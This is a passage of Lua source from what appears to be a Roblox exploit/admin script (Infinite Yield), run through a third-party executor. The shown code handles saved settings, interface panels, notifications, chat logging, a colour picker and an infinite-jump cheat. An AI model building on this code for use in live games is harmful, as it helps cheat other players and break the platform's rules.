  2089. currentText2 = Color3.new(0, 0, 0)
  2090. currentScroll = Color3.fromRGB(78,78,79)
  2091.  
  2092. defaultsettings = {
  2093. prefix = ';';
  2094. StayOpen = false;
  2095. logsEnabled = false;
  2096. aliases = {};
  2097. binds = {};
  2098. spawnCmds = {};
  2099. WayPoints = {};
  2100. PluginsTable = {}
  2101. }
  2102.  
  2103. defaults = game:GetService("HttpService"):JSONEncode(defaultsettings)
  2104.  
  2105. nosaves = false
  2106.  
  2107. function saves()
  2108. if writefileExploit() then
  2109. if pcall(function() readfile("IY_FE.iy") end) then
  2110. if readfile("IY_FE.iy") ~= nil then
  2111. local json = game:GetService("HttpService"):JSONDecode(readfile("IY_FE.iy"))
  2112. if json.prefix ~= nil then prefix = json.prefix else prefix = ';' end
  2113. if json.StayOpen ~= nil then StayOpen = json.StayOpen else StayOpen = false end
  2114. if json.logsEnabled ~= nil then logsEnabled = json.logsEnabled else logsEnabled = false end
  2115. if json.aliases ~= nil then aliases = json.aliases else aliases = {} end
  2116. if json.binds ~= nil then binds = json.binds else binds = {} end
  2117. if json.spawnCmds ~= nil then spawnCmds = json.spawnCmds else spawnCmds = {} end
  2118. if json.WayPoints ~= nil then AllWaypoints = json.WayPoints else WayPoints = {} AllWaypoints = {} end
  2119. if json.PluginsTable ~= nil then PluginsTable = json.PluginsTable else PluginsTable = {} end
  2120. if json.currentShade1 ~= nil then currentShade1 = Color3.new(json.currentShade1[1],json.currentShade1[2],json.currentShade1[3]) end
  2121. if json.currentShade2 ~= nil then currentShade2 = Color3.new(json.currentShade2[1],json.currentShade2[2],json.currentShade2[3]) end
  2122. if json.currentShade3 ~= nil then currentShade3 = Color3.new(json.currentShade3[1],json.currentShade3[2],json.currentShade3[3]) end
  2123. if json.currentText1 ~= nil then currentText1 = Color3.new(json.currentText1[1],json.currentText1[2],json.currentText1[3]) end
  2124. if json.currentText2 ~= nil then currentText2 = Color3.new(json.currentText2[1],json.currentText2[2],json.currentText2[3]) end
  2125. if json.currentScroll ~= nil then currentScroll = Color3.new(json.currentScroll[1],json.currentScroll[2],json.currentScroll[3]) end
  2126. else
  2127. writefileCooldown("IY_FE.iy", defaults)
  2128. wait()
  2129. saves()
  2130. end
  2131. else
  2132. writefileCooldown("IY_FE.iy", defaults)
  2133. wait()
  2134. if pcall(function() readfile("IY_FE.iy") end) then
  2135. saves()
  2136. else
  2137. nosaves = true
  2138. prefix = ';'
  2139. StayOpen = false
  2140. logsEnabled = false
  2141. aliases = {}
  2142. binds = {}
  2143. spawnCmds = {}
  2144. WayPoints = {}
  2145. PluginsTable = {}
  2146.  
  2147. local FileError = Instance.new("Frame")
  2148. local background = Instance.new("Frame")
  2149. local Directions = Instance.new("TextLabel")
  2150. local shadow = Instance.new("Frame")
  2151. local PopupText = Instance.new("TextLabel")
  2152. local Exit = Instance.new("ImageButton")
  2153.  
  2154. FileError.Name = randomString()
  2155. FileError.Parent = PARENT
  2156. FileError.Active = true
  2157. FileError.BackgroundTransparency = 1
  2158. FileError.Position = UDim2.new(0.5, -180, 0, 290)
  2159. FileError.Size = UDim2.new(0, 360, 0, 20)
  2160. FileError.ZIndex = 10
  2161.  
  2162. background.Name = "background"
  2163. background.Parent = FileError
  2164. background.Active = true
  2165. background.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  2166. background.BorderSizePixel = 0
  2167. background.Position = UDim2.new(0, 0, 0, 20)
  2168. background.Size = UDim2.new(0, 360, 0, 205)
  2169. background.ZIndex = 10
  2170.  
  2171. Directions.Name = "Directions"
  2172. Directions.Parent = background
  2173. Directions.BackgroundTransparency = 1
  2174. Directions.BorderSizePixel = 0
  2175. Directions.Position = UDim2.new(0, 10, 0, 10)
  2176. Directions.Size = UDim2.new(0, 340, 0, 185)
  2177. Directions.Font = Enum.Font.SourceSans
  2178. Directions.TextSize = 14
  2179. Directions.Text = "There was a problem writing a save file to your PC.\n\nPlease contact the developer/support team for your exploit and tell them writefile is not working.\n\nYour settings, keybinds, waypoints, and aliases will not save if you continue.\n\nThings to try:\n> Make sure a 'workspace' folder is located in the same folder as your exploit\n> If your exploit is inside of a zip/rar file, extract it.\n> Rejoin the game and try again or restart your PC and try again."
  2180. Directions.TextColor3 = Color3.new(1, 1, 1)
  2181. Directions.TextWrapped = true
  2182. Directions.TextXAlignment = Enum.TextXAlignment.Left
  2183. Directions.TextYAlignment = Enum.TextYAlignment.Top
  2184. Directions.ZIndex = 10
  2185.  
  2186. shadow.Name = "shadow"
  2187. shadow.Parent = FileError
  2188. shadow.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  2189. shadow.BorderSizePixel = 0
  2190. shadow.Size = UDim2.new(0, 360, 0, 20)
  2191. shadow.ZIndex = 10
  2192.  
  2193. PopupText.Name = "PopupText"
  2194. PopupText.Parent = shadow
  2195. PopupText.BackgroundTransparency = 1
  2196. PopupText.Position = UDim2.new(0, 51, 0, 0)
  2197. PopupText.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
  2198. PopupText.ZIndex = 10
  2199. PopupText.Font = Enum.Font.SourceSans
  2200. PopupText.TextSize = 14
  2201. PopupText.Text = "File Error"
  2202. PopupText.TextColor3 = Color3.new(1, 1, 1)
  2203. PopupText.TextWrapped = true
  2204.  
  2205. Exit.Name = "Exit"
  2206. Exit.Parent = shadow
  2207. Exit.BackgroundTransparency = 1
  2208. Exit.Size = UDim2.new(0, 20, 0, 20)
  2209. Exit.ZIndex = 10
  2210. Exit.Image = "rbxassetid://2132544126"
  2211.  
  2212. Exit.MouseButton1Click:Connect(function()
  2213. FileError:Destroy()
  2214. end)
  2215. end
  2216. end
  2217. else
  2218. prefix = ';'
  2219. StayOpen = false
  2220. logsEnabled = false
  2221. aliases = {}
  2222. binds = {}
  2223. spawnCmds = {}
  2224. WayPoints = {}
  2225. PluginsTable = {}
  2226. end
  2227. end
  2228.  
  2229. saves()
  2230.  
  2231. function updatesaves()
  2232. if nosaves == false and writefileExploit() then
  2233. local update = {
  2234. prefix = prefix;
  2235. StayOpen = StayOpen;
  2236. logsEnabled = logsEnabled;
  2237. aliases = aliases;
  2238. binds = binds;
  2239. spawnCmds = spawnCmds;
  2240. WayPoints = AllWaypoints;
  2241. PluginsTable = PluginsTable;
  2242. currentShade1 = {currentShade1.R,currentShade1.G,currentShade1.B};
  2243. currentShade2 = {currentShade2.R,currentShade2.G,currentShade2.B};
  2244. currentShade3 = {currentShade3.R,currentShade3.G,currentShade3.B};
  2245. currentText1 = {currentText1.R,currentText1.G,currentText1.B};
  2246. currentText2 = {currentText2.R,currentText2.G,currentText2.B};
  2247. currentScroll = {currentScroll.R,currentScroll.G,currentScroll.B}
  2248. }
  2249. writefileCooldown("IY_FE.iy", game:GetService("HttpService"):JSONEncode(update))
  2250. end
  2251. end
  2252.  
  2253. pWayPoints = {}
  2254. WayPoints = {}
  2255.  
  2256. if #AllWaypoints > 0 then
  2257. for i = 1, #AllWaypoints do
  2258. if not AllWaypoints[i].GAME or AllWaypoints[i].GAME == game.PlaceId then
  2259. WayPoints[#WayPoints + 1] = {NAME = AllWaypoints[i].NAME, COORD = {AllWaypoints[i].COORD[1], AllWaypoints[i].COORD[2], AllWaypoints[i].COORD[3]}, GAME = AllWaypoints[i].GAME}
  2260. end
  2261. end
  2262. end
  2263.  
  2264. function Time()
  2265. local HOUR = math.floor((tick() % 86400) / 3600)
  2266. local MINUTE = math.floor((tick() % 3600) / 60)
  2267. local SECOND = math.floor(tick() % 60)
  2268. local AP = HOUR > 11 and 'PM' or 'AM'
  2269. HOUR = (HOUR % 12 == 0 and 12 or HOUR % 12)
  2270. HOUR = HOUR < 10 and '0' .. HOUR or HOUR
  2271. MINUTE = MINUTE < 10 and '0' .. MINUTE or MINUTE
  2272. SECOND = SECOND < 10 and '0' .. SECOND or SECOND
  2273. return HOUR .. ':' .. MINUTE .. ':' .. SECOND .. ' ' .. AP
  2274. end
  2275.  
  2276. UserInputService = game:GetService("UserInputService")
  2277. IYMouse = Players.LocalPlayer:GetMouse()
  2278. PrefixBox.Text = prefix
  2279. SettingsOpen = false
  2280.  
  2281. if StayOpen == false then
  2282. Holder.Settings.StayOpen.Button.On.BackgroundTransparency = 1
  2283. else
  2284. Holder.Settings.StayOpen.Button.On.BackgroundTransparency = 0
  2285. end
  2286.  
  2287. if logsEnabled then
  2288. Toggle.Text = 'Enabled'
  2289. else
  2290. Toggle.Text = 'Disabled'
  2291. end
  2292.  
  2293. function maximizeHolder()
  2294. if StayOpen == false then
  2295. Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, -220), "InOut", "Quart", 0.2, true, nil)
  2296. end
  2297. end
  2298.  
  2299. function minimizeHolder()
  2300. if StayOpen == false then
  2301. Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, -20), "InOut", "Quart", 0.5, true, nil)
  2302. end
  2303. end
  2304.  
  2305. function cmdbarHolder()
  2306. if StayOpen == false then
  2307. Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, -45), "InOut", "Quart", 0.5, true, nil)
  2308. end
  2309. end
  2310.  
  2311. function enablebuttons()
  2312. Settings.Aliases.Select.Visible = true
  2313. Settings.SpawnC.Select.Visible = true
  2314. Settings.Keybinds.Select.Visible = true
  2315. Settings.StayOpen.Button.On.Visible = true
  2316. Settings.Prefix.PrefixBox.Visible = true
  2317. Settings.Positions.Select.Visible = true
  2318. Settings.Plugins.Select.Visible = true
  2319. end
  2320.  
  2321. function disablebuttons()
  2322. Settings.Aliases.Select.Visible = false
  2323. Settings.SpawnC.Select.Visible = false
  2324. Settings.Keybinds.Select.Visible = false
  2325. Settings.StayOpen.Button.On.Visible = false
  2326. Settings.Prefix.PrefixBox.Visible = false
  2327. Settings.Positions.Select.Visible = false
  2328. Settings.Plugins.Select.Visible = false
  2329. end
  2330.  
  2331. notifyCount = 0
  2332. pinNotification = nil
  2333. function notify(text,text2,length)
  2334. spawn(function()
  2335. local LnotifyCount = notifyCount+1
  2336. local notificationPinned = false
  2337. notifyCount = notifyCount+1
  2338. if pinNotification then pinNotification:Disconnect() end
  2339. pinNotification = Notification.MouseEnter:Connect(function()
  2340. spawn(function()
  2341. pinNotification:Disconnect()
  2342. notificationPinned = true
  2343. Notification.Title.BackgroundTransparency = 1
  2344. wait(0.5)
  2345. Notification.Title.BackgroundTransparency = 0
  2346. end)
  2347. end)
  2348. Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, 0), "InOut", "Quart", 0.5, true, nil)
  2349. wait(0.6)
  2350. local closepressed = false
  2351. if text2 then
  2352. Notification.Title.Text = text
  2353. Notification.Text.Text = text2
  2354. else
  2355. Notification.Title.Text = 'Notification'
  2356. Notification.Text.Text = text
  2357. end
  2358. Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, -100), "InOut", "Quart", 0.5, true, nil)
  2359. Notification.CloseButton.MouseButton1Click:Connect(function()
  2360. Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, 0), "InOut", "Quart", 0.5, true, nil)
  2361. closepressed = true
  2362. pinNotification:Disconnect()
  2363. end)
  2364. if length and isNumber(length) then
  2365. wait(length)
  2366. else
  2367. wait(10)
  2368. end
  2369. if LnotifyCount == notifyCount then
  2370. if closepressed == false and notificationPinned == false then
  2371. pinNotification:Disconnect()
  2372. Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, 0), "InOut", "Quart", 0.5, true, nil)
  2373. end
  2374. notifyCount = 0
  2375. end
  2376. end)
  2377. end
  2378.  
  2379. lastMessage = nil
  2380. lastLabel = nil
  2381. dupeCount = 1
  2382. function CreateLabel(Name, Text)
  2383. if lastMessage == Text then
  2384. dupeCount = dupeCount+1
  2385. lastLabel.Text = Time()..' - ['..Name..']: '..Text..' (x'..dupeCount..')'
  2386. else
  2387. if dupeCount > 1 then dupeCount = 1 end
  2388. if #scrollCL:GetChildren() >= 2546 then
  2389. scrollCL:ClearAllChildren()
  2390. end
  2391. local alls = 0
  2392. for i,v in pairs(scrollCL:GetChildren()) do
  2393. if v then
  2394. alls = v.Size.Y.Offset + alls
  2395. end
  2396. if not v then
  2397. alls = 0
  2398. end
  2399. end
  2400. local tl = Instance.new('TextLabel', scrollCL)
  2401. local il = Instance.new('Frame', tl)
  2402. lastMessage = Text
  2403. lastLabel = tl
  2404. tl.Name = Name
  2405. tl.ZIndex = 10
  2406. tl.Text = Time().." - ["..Name.."]: "..Text
  2407. tl.Size = UDim2.new(0,322,0,84)
  2408. tl.BackgroundTransparency = 1
  2409. tl.BorderSizePixel = 0
  2410. tl.Font = "SourceSans"
  2411. tl.Position = UDim2.new(-1,0,0,alls)
  2412. tl.TextTransparency = 1
  2413. tl.TextScaled = false
  2414. tl.TextSize = 14
  2415. tl.TextWrapped = true
  2416. tl.TextXAlignment = "Left"
  2417. tl.TextYAlignment = "Top"
  2418. il.BackgroundTransparency = 1
  2419. il.BorderSizePixel = 0
  2420. il.Size = UDim2.new(0,12,1,0)
  2421. il.Position = UDim2.new(0,316,0,0)
  2422. il.ZIndex = 10
  2423. tl.TextColor3 = currentText1
  2424. tl.Size = UDim2.new(0,322,0,tl.TextBounds.Y)
  2425. table.insert(text1,tl)
  2426. scrollCL.CanvasSize = UDim2.new(0,0,0,alls+tl.TextBounds.Y)
  2427. scrollCL.CanvasPosition = Vector2.new(0,scrollCL.CanvasPosition.Y+tl.TextBounds.Y)
  2428. tl:TweenPosition(UDim2.new(0,3,0,alls), 'In', 'Quint', 0.5)
  2429. for i = 0,50 do wait(0.05)
  2430. tl.TextTransparency = tl.TextTransparency - 0.05
  2431. end
  2432. tl.TextTransparency = 0
  2433. end
  2434. end
  2435.  
  2436. infJump = false
  2437. IYMouse.KeyDown:connect(function(Key)
  2438. if (Key==prefix) then
  2439. Holder.Cmdbar:CaptureFocus()
  2440. spawn(function()
  2441. repeat Holder.Cmdbar.Text = '' until Holder.Cmdbar.Text == ''
  2442. end)
  2443. maximizeHolder()
  2444. elseif infJump == true and Key == " " then
  2445. Players.LocalPlayer.Character.Humanoid:ChangeState(3)
  2446. end
  2447. end)
  2448.  
  2449. Holder.MouseEnter:Connect(function()
  2450. maximizeHolder()
  2451. end)
  2452.  
  2453. Holder.MouseLeave:Connect(function()
  2454. if not Holder.Cmdbar:IsFocused() then
  2455. minimizeHolder()
  2456. end
  2457. end)
  2458.  
  2459. function updateColors(color,ctype)
  2460. if ctype == shade1 then
  2461. for i,v in pairs(shade1) do
  2462. v.BackgroundColor3 = color
  2463. end
  2464. currentShade1 = color
  2465. elseif ctype == shade2 then
  2466. for i,v in pairs(shade2) do
  2467. v.BackgroundColor3 = color
  2468. end
  2469. currentShade2 = color
  2470. elseif ctype == shade3 then
  2471. for i,v in pairs(shade3) do
  2472. v.BackgroundColor3 = color
  2473. end
  2474. currentShade3 = color
  2475. elseif ctype == text1 then
  2476. for i,v in pairs(text1) do
  2477. v.TextColor3 = color
  2478. end
  2479. currentText1 = color
  2480. elseif ctype == text2 then
  2481. for i,v in pairs(text2) do
  2482. v.TextColor3 = color
  2483. end
  2484. currentText2 = color
  2485. elseif ctype == scroll then
  2486. for i,v in pairs(scroll) do
  2487. v.ScrollBarImageColor3 = color
  2488. end
  2489. currentScroll = color
  2490. end
  2491. end
  2492.  
  2493. colorpickerOpen = false
  2494. ColorsButton.MouseButton1Click:Connect(function()
  2495. cache_currentShade1 = currentShade1
  2496. cache_currentShade2 = currentShade2
  2497. cache_currentShade3 = currentShade3
  2498. cache_currentText1 = currentText1
  2499. cache_currentText2 = currentText2
  2500. cache_currentScroll = currentScroll
  2501. if not colorpickerOpen then
  2502. colorpickerOpen = true
  2503. picker = game:GetObjects("rbxassetid://4908465318")[1]
  2504. picker.Name = randomString()
  2505. picker.Parent = PARENT
  2506.  
  2507. local ColorPicker do
  2508. ColorPicker = {}
  2509.  
  2510. ColorPicker.new = function()
  2511. local newMt = setmetatable({},{})
  2512.  
  2513. local pickerGui = picker.ColorPicker
  2514. local pickerTopBar = pickerGui.TopBar
  2515. local pickerExit = pickerTopBar.Exit
  2516. local pickerFrame = pickerGui.Content
  2517. local colorSpace = pickerFrame.ColorSpaceFrame.ColorSpace
  2518. local colorStrip = pickerFrame.ColorStrip
  2519. local previewFrame = pickerFrame.Preview
  2520. local basicColorsFrame = pickerFrame.BasicColors
  2521. local customColorsFrame = pickerFrame.CustomColors
  2522. local defaultButton = pickerFrame.Default
  2523. local cancelButton = pickerFrame.Cancel
  2524. local shade1Button = pickerFrame.Shade1
  2525. local shade2Button = pickerFrame.Shade2
  2526. local shade3Button = pickerFrame.Shade3
  2527. local text1Button = pickerFrame.Text1
  2528. local text2Button = pickerFrame.Text2
  2529. local scrollButton = pickerFrame.Scroll
  2530.  
  2531. local colorScope = colorSpace.Scope
  2532. local colorArrow = pickerFrame.ArrowFrame.Arrow
  2533.  
  2534. local hueInput = pickerFrame.Hue.Input
  2535. local satInput = pickerFrame.Sat.Input
  2536. local valInput = pickerFrame.Val.Input
  2537.  
  2538. local redInput = pickerFrame.Red.Input
  2539. local greenInput = pickerFrame.Green.Input
  2540. local blueInput = pickerFrame.Blue.Input
  2541.  
  2542. local mouse = game:GetService("Players").LocalPlayer:GetMouse()
  2543.  
  2544. local hue,sat,val = 0,0,1
  2545. local red,green,blue = 1,1,1
  2546. local chosenColor = Color3.new(0,0,0)
  2547.  
  2548. local basicColors = {Color3.new(0,0,0),Color3.new(0.66666668653488,0,0),Color3.new(0,0.33333334326744,0),Color3.new(0.66666668653488,0.33333334326744,0),Color3.new(0,0.66666668653488,0),Color3.new(0.66666668653488,0.66666668653488,0),Color3.new(0,1,0),Color3.new(0.66666668653488,1,0),Color3.new(0,0,0.49803924560547),Color3.new(0.66666668653488,0,0.49803924560547),Color3.new(0,0.33333334326744,0.49803924560547),Color3.new(0.66666668653488,0.33333334326744,0.49803924560547),Color3.new(0,0.66666668653488,0.49803924560547),Color3.new(0.66666668653488,0.66666668653488,0.49803924560547),Color3.new(0,1,0.49803924560547),Color3.new(0.66666668653488,1,0.49803924560547),Color3.new(0,0,1),Color3.new(0.66666668653488,0,1),Color3.new(0,0.33333334326744,1),Color3.new(0.66666668653488,0.33333334326744,1),Color3.new(0,0.66666668653488,1),Color3.new(0.66666668653488,0.66666668653488,1),Color3.new(0,1,1),Color3.new(0.66666668653488,1,1),Color3.new(0.33333334326744,0,0),Color3.new(1,0,0),Color3.new(0.33333334326744,0.33333334326744,0),Color3.new(1,0.33333334326744,0),Color3.new(0.33333334326744,0.66666668653488,0),Color3.new(1,0.66666668653488,0),Color3.new(0.33333334326744,1,0),Color3.new(1,1,0),Color3.new(0.33333334326744,0,0.49803924560547),Color3.new(1,0,0.49803924560547),Color3.new(0.33333334326744,0.33333334326744,0.49803924560547),Color3.new(1,0.33333334326744,0.49803924560547),Color3.new(0.33333334326744,0.66666668653488,0.49803924560547),Color3.new(1,0.66666668653488,0.49803924560547),Color3.new(0.33333334326744,1,0.49803924560547),Color3.new(1,1,0.49803924560547),Color3.new(0.33333334326744,0,1),Color3.new(1,0,1),Color3.new(0.33333334326744,0.33333334326744,1),Color3.new(1,0.33333334326744,1),Color3.new(0.33333334326744,0.66666668653488,1),Color3.new(1,0.66666668653488,1),Color3.new(0.33333334326744,1,1),Color3.new(1,1,1)}
  2549. local customColors = {}
  2550.  
  2551. dragGUI(picker)
  2552.  
  2553. local function updateColor(noupdate)
  2554. local relativeX,relativeY,relativeStripY = 219 - hue*219, 199 - sat*199, 199 - val*199
  2555. local hsvColor = Color3.fromHSV(hue,sat,val)
  2556.  
  2557. if noupdate == 2 or not noupdate then
  2558. hueInput.Text = tostring(math.ceil(359*hue))
  2559. satInput.Text = tostring(math.ceil(255*sat))
  2560. valInput.Text = tostring(math.floor(255*val))
  2561. end
  2562. if noupdate == 1 or not noupdate then
  2563. redInput.Text = tostring(math.floor(255*red))
  2564. greenInput.Text = tostring(math.floor(255*green))
  2565. blueInput.Text = tostring(math.floor(255*blue))
  2566. end
  2567.  
  2568. chosenColor = Color3.new(red,green,blue)
  2569.  
  2570. colorScope.Position = UDim2.new(0,relativeX-9,0,relativeY-9)
  2571. colorStrip.ImageColor3 = Color3.fromHSV(hue,sat,1)
  2572. colorArrow.Position = UDim2.new(0,-2,0,relativeStripY-4)
  2573. previewFrame.BackgroundColor3 = chosenColor
  2574.  
  2575. newMt.Color = chosenColor
  2576. if newMt.Changed then newMt:Changed(chosenColor) end
  2577. end
  2578.  
  2579. local function colorSpaceInput()
  2580. local relativeX = mouse.X - colorSpace.AbsolutePosition.X
  2581. local relativeY = mouse.Y - colorSpace.AbsolutePosition.Y
  2582.  
  2583. if relativeX < 0 then relativeX = 0 elseif relativeX > 219 then relativeX = 219 end
  2584. if relativeY < 0 then relativeY = 0 elseif relativeY > 199 then relativeY = 199 end
  2585.  
  2586. hue = (219 - relativeX)/219
  2587. sat = (199 - relativeY)/199
  2588.  
  2589. local hsvColor = Color3.fromHSV(hue,sat,val)
  2590. red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
  2591.  
  2592. updateColor()
  2593. end
  2594.  
  2595. local function colorStripInput()
  2596. local relativeY = mouse.Y - colorStrip.AbsolutePosition.Y
  2597.  
  2598. if relativeY < 0 then relativeY = 0 elseif relativeY > 199 then relativeY = 199 end
  2599.  
  2600. val = (199 - relativeY)/199
  2601.  
  2602. local hsvColor = Color3.fromHSV(hue,sat,val)
  2603. red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
  2604.  
  2605. updateColor()
  2606. end
  2607.  
  2608. local function hookButtons(frame,func)
  2609. frame.ArrowFrame.Up.InputBegan:Connect(function(input)
  2610. if input.UserInputType == Enum.UserInputType.MouseMovement then
  2611. frame.ArrowFrame.Up.BackgroundTransparency = 0.5
  2612. elseif input.UserInputType == Enum.UserInputType.MouseButton1 then
  2613. local releaseEvent,runEvent
  2614.  
  2615. local startTime = tick()
  2616. local pressing = true
  2617. local startNum = tonumber(frame.Text)
  2618.  
  2619. if not startNum then return end
  2620.  
  2621. releaseEvent = UserInputService.InputEnded:Connect(function(input)
  2622. if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end
  2623. releaseEvent:Disconnect()
  2624. pressing = false
  2625. end)
  2626.  
  2627. startNum = startNum + 1
  2628. func(startNum)
  2629. while pressing do
  2630. if tick()-startTime > 0.3 then
  2631. startNum = startNum + 1
  2632. func(startNum)
  2633. end
  2634. wait(0.1)
  2635. end
  2636. end
  2637. end)
  2638.  
  2639. frame.ArrowFrame.Up.InputEnded:Connect(function(input)
  2640. if input.UserInputType == Enum.UserInputType.MouseMovement then
  2641. frame.ArrowFrame.Up.BackgroundTransparency = 1
  2642. end
  2643. end)
  2644.  
  2645. frame.ArrowFrame.Down.InputBegan:Connect(function(input)
  2646. if input.UserInputType == Enum.UserInputType.MouseMovement then
  2647. frame.ArrowFrame.Down.BackgroundTransparency = 0.5
  2648. elseif input.UserInputType == Enum.UserInputType.MouseButton1 then
  2649. local releaseEvent,runEvent
  2650.  
  2651. local startTime = tick()
  2652. local pressing = true
  2653. local startNum = tonumber(frame.Text)
  2654.  
  2655. if not startNum then return end
  2656.  
  2657. releaseEvent = UserInputService.InputEnded:Connect(function(input)
  2658. if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end
  2659. releaseEvent:Disconnect()
  2660. pressing = false
  2661. end)
  2662.  
  2663. startNum = startNum - 1
  2664. func(startNum)
  2665. while pressing do
  2666. if tick()-startTime > 0.3 then
  2667. startNum = startNum - 1
  2668. func(startNum)
  2669. end
  2670. wait(0.1)
  2671. end
  2672. end
  2673. end)
  2674.  
  2675. frame.ArrowFrame.Down.InputEnded:Connect(function(input)
  2676. if input.UserInputType == Enum.UserInputType.MouseMovement then
  2677. frame.ArrowFrame.Down.BackgroundTransparency = 1
  2678. end
  2679. end)
  2680. end
  2681.  
  2682. colorSpace.InputBegan:Connect(function(input)
  2683. if input.UserInputType == Enum.UserInputType.MouseButton1 then
  2684. local releaseEvent,mouseEvent
  2685.  
  2686. releaseEvent = UserInputService.InputEnded:Connect(function(input)
  2687. if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end
  2688. releaseEvent:Disconnect()
  2689. mouseEvent:Disconnect()
  2690. end)
  2691.  
  2692. mouseEvent = UserInputService.InputChanged:Connect(function(input)
  2693. if input.UserInputType == Enum.UserInputType.MouseMovement then
  2694. colorSpaceInput()
  2695. end
  2696. end)
  2697.  
  2698. colorSpaceInput()
  2699. end
  2700. end)
  2701.  
  2702. colorStrip.InputBegan:Connect(function(input)
  2703. if input.UserInputType == Enum.UserInputType.MouseButton1 then
  2704. local releaseEvent,mouseEvent
  2705.  
  2706. releaseEvent = UserInputService.InputEnded:Connect(function(input)
  2707. if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end
  2708. releaseEvent:Disconnect()
  2709. mouseEvent:Disconnect()
  2710. end)
  2711.  
  2712. mouseEvent = UserInputService.InputChanged:Connect(function(input)
  2713. if input.UserInputType == Enum.UserInputType.MouseMovement then
  2714. colorStripInput()
  2715. end
  2716. end)
  2717.  
  2718. colorStripInput()
  2719. end
  2720. end)
  2721.  
  2722. local function updateHue(str)
  2723. local num = tonumber(str)
  2724. if num then
  2725. hue = math.clamp(math.floor(num),0,359)/359
  2726. local hsvColor = Color3.fromHSV(hue,sat,val)
  2727. red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
  2728. hueInput.Text = tostring(hue*359)
  2729. updateColor(1)
  2730. end
  2731. end
  2732. hueInput.FocusLost:Connect(function() updateHue(hueInput.Text) end) hookButtons(hueInput,updateHue)
  2733.  
  2734. local function updateSat(str)
  2735. local num = tonumber(str)
  2736. if num then
  2737. sat = math.clamp(math.floor(num),0,255)/255
  2738. local hsvColor = Color3.fromHSV(hue,sat,val)
  2739. red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
  2740. satInput.Text = tostring(sat*255)
  2741. updateColor(1)
  2742. end
  2743. end
  2744. satInput.FocusLost:Connect(function() updateSat(satInput.Text) end) hookButtons(satInput,updateSat)
  2745.  
  2746. local function updateVal(str)
  2747. local num = tonumber(str)
  2748. if num then
  2749. val = math.clamp(math.floor(num),0,255)/255
  2750. local hsvColor = Color3.fromHSV(hue,sat,val)
  2751. red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
  2752. valInput.Text = tostring(val*255)
  2753. updateColor(1)
  2754. end
  2755. end
  2756. valInput.FocusLost:Connect(function() updateVal(valInput.Text) end) hookButtons(valInput,updateVal)
  2757.  
  2758. local function updateRed(str)
  2759. local num = tonumber(str)
  2760. if num then
  2761. red = math.clamp(math.floor(num),0,255)/255
  2762. local newColor = Color3.new(red,green,blue)
  2763. hue,sat,val = Color3.toHSV(newColor)
  2764. redInput.Text = tostring(red*255)
  2765. updateColor(2)
  2766. end
  2767. end
  2768. redInput.FocusLost:Connect(function() updateRed(redInput.Text) end) hookButtons(redInput,updateRed)
  2769.  
  2770. local function updateGreen(str)
  2771. local num = tonumber(str)
  2772. if num then
  2773. green = math.clamp(math.floor(num),0,255)/255
  2774. local newColor = Color3.new(red,green,blue)
  2775. hue,sat,val = Color3.toHSV(newColor)
  2776. greenInput.Text = tostring(green*255)
  2777. updateColor(2)
  2778. end
  2779. end
  2780. greenInput.FocusLost:Connect(function() updateGreen(greenInput.Text) end) hookButtons(greenInput,updateGreen)
  2781.  
  2782. local function updateBlue(str)
  2783. local num = tonumber(str)
  2784. if num then
  2785. blue = math.clamp(math.floor(num),0,255)/255
  2786. local newColor = Color3.new(red,green,blue)
  2787. hue,sat,val = Color3.toHSV(newColor)
  2788. blueInput.Text = tostring(blue*255)
  2789. updateColor(2)
  2790. end
  2791. end
  2792. blueInput.FocusLost:Connect(function() updateBlue(blueInput.Text) end) hookButtons(blueInput,updateBlue)
  2793.  
  2794. local colorChoice = Instance.new("TextButton")
  2795. colorChoice.Name = "Choice"
  2796. colorChoice.Size = UDim2.new(0,25,0,18)
  2797. colorChoice.BorderColor3 = Color3.new(96/255,96/255,96/255)
  2798. colorChoice.Text = ""
  2799. colorChoice.AutoButtonColor = false
  2800. colorChoice.ZIndex = 10
  2801.  
  2802. local row = 0
  2803. local column = 0
  2804. for i,v in pairs(basicColors) do
  2805. local newColor = colorChoice:Clone()
  2806. newColor.BackgroundColor3 = v
  2807. newColor.Position = UDim2.new(0,1 + 30*column,0,21 + 23*row)
  2808.  
  2809. newColor.MouseButton1Click:Connect(function()
  2810. red,green,blue = v.r,v.g,v.b
  2811. local newColor = Color3.new(red,green,blue)
  2812. hue,sat,val = Color3.toHSV(newColor)
  2813. updateColor()
  2814. end)
  2815.  
  2816. newColor.Parent = basicColorsFrame
  2817. column = column + 1
  2818. if column == 6 then row = row + 1 column = 0 end
  2819. end
  2820.  
  2821. row = 0
  2822. column = 0
  2823. for i = 1,12 do
  2824. local color = customColors[i] or Color3.new(0,0,0)
  2825. local newColor = colorChoice:Clone()
  2826. newColor.BackgroundColor3 = color
  2827. newColor.Position = UDim2.new(0,1 + 30*column,0,20 + 23*row)
  2828.  
  2829. newColor.MouseButton1Click:Connect(function()
  2830. local curColor = customColors[i] or Color3.new(0,0,0)
  2831. red,green,blue = curColor.r,curColor.g,curColor.b
  2832. hue,sat,val = Color3.toHSV(curColor)
  2833. updateColor()
  2834. end)
  2835.  
  2836. newColor.MouseButton2Click:Connect(function()
  2837. customColors[i] = chosenColor
  2838. newColor.BackgroundColor3 = chosenColor
  2839. end)
  2840.  
  2841. newColor.Parent = customColorsFrame
  2842. column = column + 1
  2843. if column == 6 then row = row + 1 column = 0 end
  2844. end
  2845.  
